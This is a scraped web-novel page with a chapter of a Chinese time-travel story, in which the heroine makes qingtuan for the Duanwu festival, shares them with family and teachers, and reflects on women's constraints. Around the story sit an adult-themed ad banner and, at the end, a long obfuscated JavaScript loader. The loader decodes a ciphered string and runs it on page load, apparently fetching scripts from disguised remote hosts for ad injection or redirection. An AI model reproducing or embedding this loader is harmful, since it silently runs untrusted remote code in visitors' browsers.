足迹
天若有情
登录
关灯
护眼
字体:

第46章 青团(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁黑丝纯欲主播-免费

五月五,吃粽子饮雄黄。

国丧未过百日不能饮酒作乐,苏若清就只能包些粽子和青团来应景了,明天就是端午,今天得先把粽子青团包出来,明天要去送节礼嘞。

粽叶头一天就用水泡好了,严氏跟赵氏前两天还在栖霞河边摘了几把艾草回来。苏若清看着那嫩生生、青翠翠的艾草,才有了今天做青团的想法,特地打哥哥和方玉珩去摘了几背篓回来

严氏和赵氏手都巧,两片粽叶用手一折就变成了一个小斗,往里面装上糯米和红枣,两只手翻过来倒过去的,一个粽子就包好了,用棉线扎紧了扔在一旁的木盆里,接着包下一个。

苏若清从前世起就不会包粽子,只能把这活儿交给奶奶和娘,自己去做青团里面的馅料了,苏若淳则是在井边清洗着做青团的艾叶。

青团也叫艾团,是江南的特色小吃,苏若清前世是西北人,跟一个宁波的网友面基的时候她带着自己去吃的。那网友的妈妈看她喜欢还特意教了她怎么做青团,没想到穿越来这大庆还真的用上了。

红豆是头天晚上就用清水泡好的,苏若清把它们控干水分倒进锅里,重新加了清水进去,放入适量的白糖来增加甜度,大火煮开后,抽出多余的木柴改成小火慢慢的煮着。等红豆熬的软烂了,从灶火上取下来,稍微晾一下。把温度降下来的红豆放进洗干净的石臼里一边用力锤捣,一边慢慢加入清水,等红豆变成了糊状,看不出颗粒,再放进炒锅里,开始炒红豆沙。红豆沙一定要用大火翻炒加热后再改成小火不停搅动,防止烧干粘锅,加入一点清油继续搅动,不大一会儿,红豆沙中的水分就慢慢炒干了,红豆沙也就做好了,趁热把它们都捏成小球放在一旁冷却。

接下来,就是第二种果仁糖砂馅儿了。

苏若清把去了皮的花生仁和芝麻还有白糖放进锅里分别炒熟,然后放在石臼里捣碎,放在一起备用。

两种馅料都准备好了,苏若清开始做青团的外皮。清洗好的艾叶和嫩茎放进烧好的热水里煮开,大约一刻钟,把它们捞出来放在冷水里漂洗一遍。

沥干水分后放进石臼里用力捣烂,用纱布包住捣烂的艾叶和嫩茎,用力的把汁水挤在盆里,把提前磨好的糯米粉和粘米粉慢慢加进去,再加一些清油进去和成光滑的面团。

把面团揉成条状,用手揪成一个又一个的剂子,再用双手的拇指按压面团中间,不停转动,按出内馅的弧度,包上豆沙或者果仁糖砂,包好外皮,用手搓成一个一个的圆球,放进蒸屉里,大火烧水蒸一盏茶的功夫就好了。

大约一刻钟左右,苏若清揭开了锅盖,一股清新的艾草香气随着蒸汽扑面而来。苏若清用筷子轻轻的搛了三个青团出来,端去院子里给包粽子的赵氏婆媳和苏若淳尝味道。

“奶奶,娘,哥哥,你们尝尝看,小心烫。”

苏若清端着盘子给他们分了筷子过去,三个人小心翼翼的各自搛了一个。

“哎哟,真好吃嘞,外皮软软的,里面的豆沙又粉又甜。”

赵氏边吃边夸赞着小孙女的手艺。

苏若淳和严氏咬了一口,现里边包的是果仁,白糖都已经化了,一口下去满嘴的香甜软糯。

“好吃,艾草的香味清爽得很嘞。”

苏若淳也称赞着。

苏若清连忙跑进厨房搛了一个自己尝了一口,果然美味,比前世好基友带自己吃的那家味道更好。她笑眯眯的把笼屉里剩下的青团搛出来,手脚麻利的继续包了起来。她的工作量比较大,要送好几家节礼嘞。

包好所有的青团并且蒸了一遍后,苏若清把蒸好的青团晾凉了,分着装了几篮子,一会儿和家人分送去各家。明日送的那些都装在竹篮子里吊在井里,进行最大程度的保鲜。

吃过了晌午饭,严氏、苏若淳,苏若清都提着篮子去送青团,赵金凤家,喜梅家,黄家两房,何丰家,方家挨个走了一遍,最后两篮子则是由兄妹俩送去了小学堂。

苏若潇和方玉琮学了一早上,此时还在午休,褚墨便带着他们去了后院的正厅,褚夫子几人正在那里喝茶呢。

“夫子,两位先生,这是清儿自己做的青团,还有我家包的粽子,送来给夫子和先生们尝尝。”

苏若淳说罢,和妹妹一起把竹篮子放在桌上。

“这青团是已经蒸好的,凉了也不要紧,回头让王妈上蒸屉蒸个一刻钟就能直接吃了。这东西不能久放,只能吃个新鲜,所以量也不多,怕坏了。夫子和先生们若是喜欢,打若潇跟我说一声,这嫩艾草山里还有好多,我再包了送来。”

苏若清笑眯眯地说道。

许堰老爷子是南方人,青团自是常吃的,只是没想到这云州境内的小山村里,竟然也会有人做这南方的吃食。

他抚着胡须笑道:“哦?你这丫头还会做我们江州的吃食?”

苏若清看着上那清瘦却精明的老爷子,回答道:“回许先生,我是从一本叫《天丰杂记》的书上看到的,那里边写了不少大庆各地的风土习俗还有茶饮吃食,我觉得好就学着做了,不过我这也是第一次做,许是比不得江州那边的味道好,回头您尝尝看,有哪需要改进的,您打若潇告诉我。”

林维笑呵呵地说:“你这丫头茶饭手艺一向不错,何况你是照着许先生写的书做的,他怎么会觉得不好呢。”

苏若清闻言眼睛一亮,笑眯眯地说:“原来那《天丰杂记》是许老先生的着作,那我可赚大了,里面好多吃食我都眼馋呢。回头我都试试,做好了送来,请夫子和先生们尝尝!”

“什么着作,不过是写了些自己喜欢的东西记下来罢了,只是没想到,你一个小丫头居然也喜欢看杂记。”

许堰突然就对这个小姑娘产生了几分兴趣,女子读书多是主攻《女四书》之类的,再有才情些的,如他许家族中那些孩子,便是和男子一般学些诗词歌赋罢了,喜欢杂记的,还是第一次见。

苏若清点了点头说:“嗳,我可喜欢看了。我虽然是农家孩子,比不得那些大家小姐,但也是养在家里不怎么出门的。先生书里写的东西,我看了就开心,就好像我亲眼见到了那些名山大海,尝到了那些甜酸苦辣。我常想,幸好爹爹教我读书认字了,他常说‘读万卷书,如行万里路。’真是有道理得很嘞。”

褚夫子几人看着眼前侃侃而谈的小姑娘,心底不由得更加看重了几分,不过及笄之年,却这般清灵通透,当真像是一颗明珠啊!

从学堂后院出来,兄妹俩人慢慢悠悠的往家里走着。苏若淳看了看身旁拿着狗尾巴草把玩的妹妹,犹豫了半晌开口说道:“明日我去永安镇,你想去吗?”

端午节赵氏打他去给小姑家送节礼,其实也是想让他去看看未婚妻子,四个月没见了,那许文淇怕是也很惦记他。

苏若清想了想说:“还是不去了吧,我还没成亲呢,总往外跑怪不好的。”

生在古代她也很无奈,女子的名声甚至大过生死,虽然大庆民风还算开放,但是未婚女子抛头露面总是不好的,没看她都不怎么敢去青河镇么,再加上若潇将来要走仕途,那苏家就不能有任何让人指摘的地方,这家族名声可也是考察的一部分。

苏若淳也知道她顾虑什么,今天她在学堂里说的那些话,字里行间都透着她对那些名山大川的向往,可因为是女子,妹妹就只能天天窝在家里做针线做家务。

他心疼妹妹却又无可奈何,文淇不也是如此吗,两人虽然定了亲,碍于名声自己都不能经常去看她,四个多月了明天才能见她一次。哎~只能等到妹妹成亲以后,自己再跟玉珩带着她俩出去逛逛了。

苏若清一言不的跟在哥哥身边往家走着,心里沉甸甸的觉得厌倦和愤慨,慢慢地,厌倦和愤慨又变成了一种前所未有的无力感。她在心里默默念叨着,希望这个架空不存在于华夏五千年历史,却又和华夏古代极为相似的大庆,也能变成像后世一样男女平等,繁荣昌盛的太平盛世!

🎁黑丝纯欲主播-免费请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="b6hhl9i8jo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}JOf1{@Lf@QmD(f7RCmRT4gQ@{n/h^/@Q}jR8)KhhqQ6{CO"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8")KhhqQ6{CO"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmRD(JhfmRT4"="@Q}5p(LYpmq^Xf(LmRT4"="@Q}D7(LSqm(f24hJmRT4"="@Q}dC(LJ^mRD(JhfmRT4"="@Q}(C(L:4mq^Xf(LmRT4"="@Q}C2(LSYm(f24hJmRT4"="@Q}25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmsYDnn{:mRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmsYDnn{:mRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}JOf1{@Lf@QmD(f7RCmRT4gQ@{n/f/@Q}j(8}vR8)KhhqQ6{CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}JOf1{@Lf@QmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();